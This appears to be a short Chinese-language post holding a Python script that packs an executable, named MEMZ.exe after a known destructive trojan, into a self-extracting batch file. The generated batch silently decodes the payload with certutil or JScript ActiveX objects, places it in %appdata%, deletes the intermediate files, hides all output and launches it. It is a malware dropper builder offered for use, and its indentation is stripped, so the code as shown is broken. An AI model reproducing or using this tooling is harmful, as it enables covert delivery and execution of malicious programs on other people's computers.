仅限Python
[color=]3.3.1
将包括但不限于EXE的文件转码为Base64并写入一个BAT文件中
import sys, os, base64, zipfile
use_zip = "-zip" in sys.argv
for_xp = "-xp" in sys.argv
use_script = "-zip" in sys.argv or "-xp" in sys.argv
ZIP_NAME = "z.zip"
EXE_NAME = "MEMZ.exe"
BASE64_NAME = "x"
JS_NAME = "x.js"
def writeScript(script, path):
out = ""
i = 0
for line in script.splitlines():
if i == 0:
out += 'echo %s>%s\r\n' % (batchescape(line), path)
else:
out += 'echo %s>>%s\r\n' % (batchescape(line), path)
i+=1
return out
def batchescape(s):
chrs = '|"&'
for c in chrs:
s = s.replace(c, "^"+c)
return s#.replace("%", "%%")
out = "@echo off\r\n\r\n"
fn = sys.argv[1]
if use_zip:
with zipfile.ZipFile("temp.zip", "w") as z:
z.write(sys.argv[1], EXE_NAME, zipfile.ZIP_DEFLATED)
fn = "temp.zip"
ifile = open(fn, "rb")
inp = ifile.read()
ifile.close()
b64 = base64.encodebytes(inp).decode('utf-8')
out += writeScript(b64, BASE64_NAME)
if use_zip:
os.remove("temp.zip")
if use_script:
out += "\r\n"
if use_zip:
js = """f=new ActiveXObject("Scripting.FileSystemObject");i=f.getFile("%s").openAsTextStream();
x=new ActiveXObject("MSXml2.DOMDocument").createElement("Base64Data");x.dataType="bin.base64";
x.text=i.readAll();o=new ActiveXObject("ADODB.Stream");o.type=1;o.open();o.write(x.nodeTypedValue);
z=f.getAbsolutePathName("%s");o.saveToFile(z);s=new ActiveXObject("Shell.Application");
s.namespace(26).copyHere(s.namespace(z).items());o.close();i.close();""" % (BASE64_NAME, ZIP_NAME)
out += writeScript(js, JS_NAME)
elif for_xp:
js = """i=WScript.createObject("Scripting.FileSystemObject").getFile("%s").openAsTextStream();
x=WScript.createObject("MSXml2.DOMDocument").createElement("Base64Data");x.dataType="bin.base64";
x.text=i.readAll();o=WScript.createObject("ADODB.Stream");o.type=1;o.open();o.write(x.nodeTypedValue);
o.saveToFile("%s");o.close();i.close();""" % (BASE64_NAME, EXE_NAME)
out += writeScript(js, JS_NAME)
out += "\r\n"
out += 'set v="%%appdata%%\\%s"\r\n' % EXE_NAME
out += "del %v% >NUL 2>NUL\r\n"
if use_script:
out += "cscript %s >NUL 2>NUL\r\n" % JS_NAME
out += "del %s >NUL 2>NUL\r\n" % JS_NAME
else:
out += "certutil -decode %s %%v%% >NUL 2>NUL\r\n" % BASE64_NAME
if for_xp:
out += "move %s %%v%% >NUL 2>NUL\r\n" % EXE_NAME
if use_zip:
out += "del %s >NUL 2>NUL\r\n" % ZIP_NAME
out += "del %s >NUL 2>NUL\r\n" % BASE64_NAME
out += 'start "" %v%'
ofile = open(sys.argv[2], "wb")
ofile.write(out.encode('utf-8'))
ofile.close()
print(len(out), "characters.")
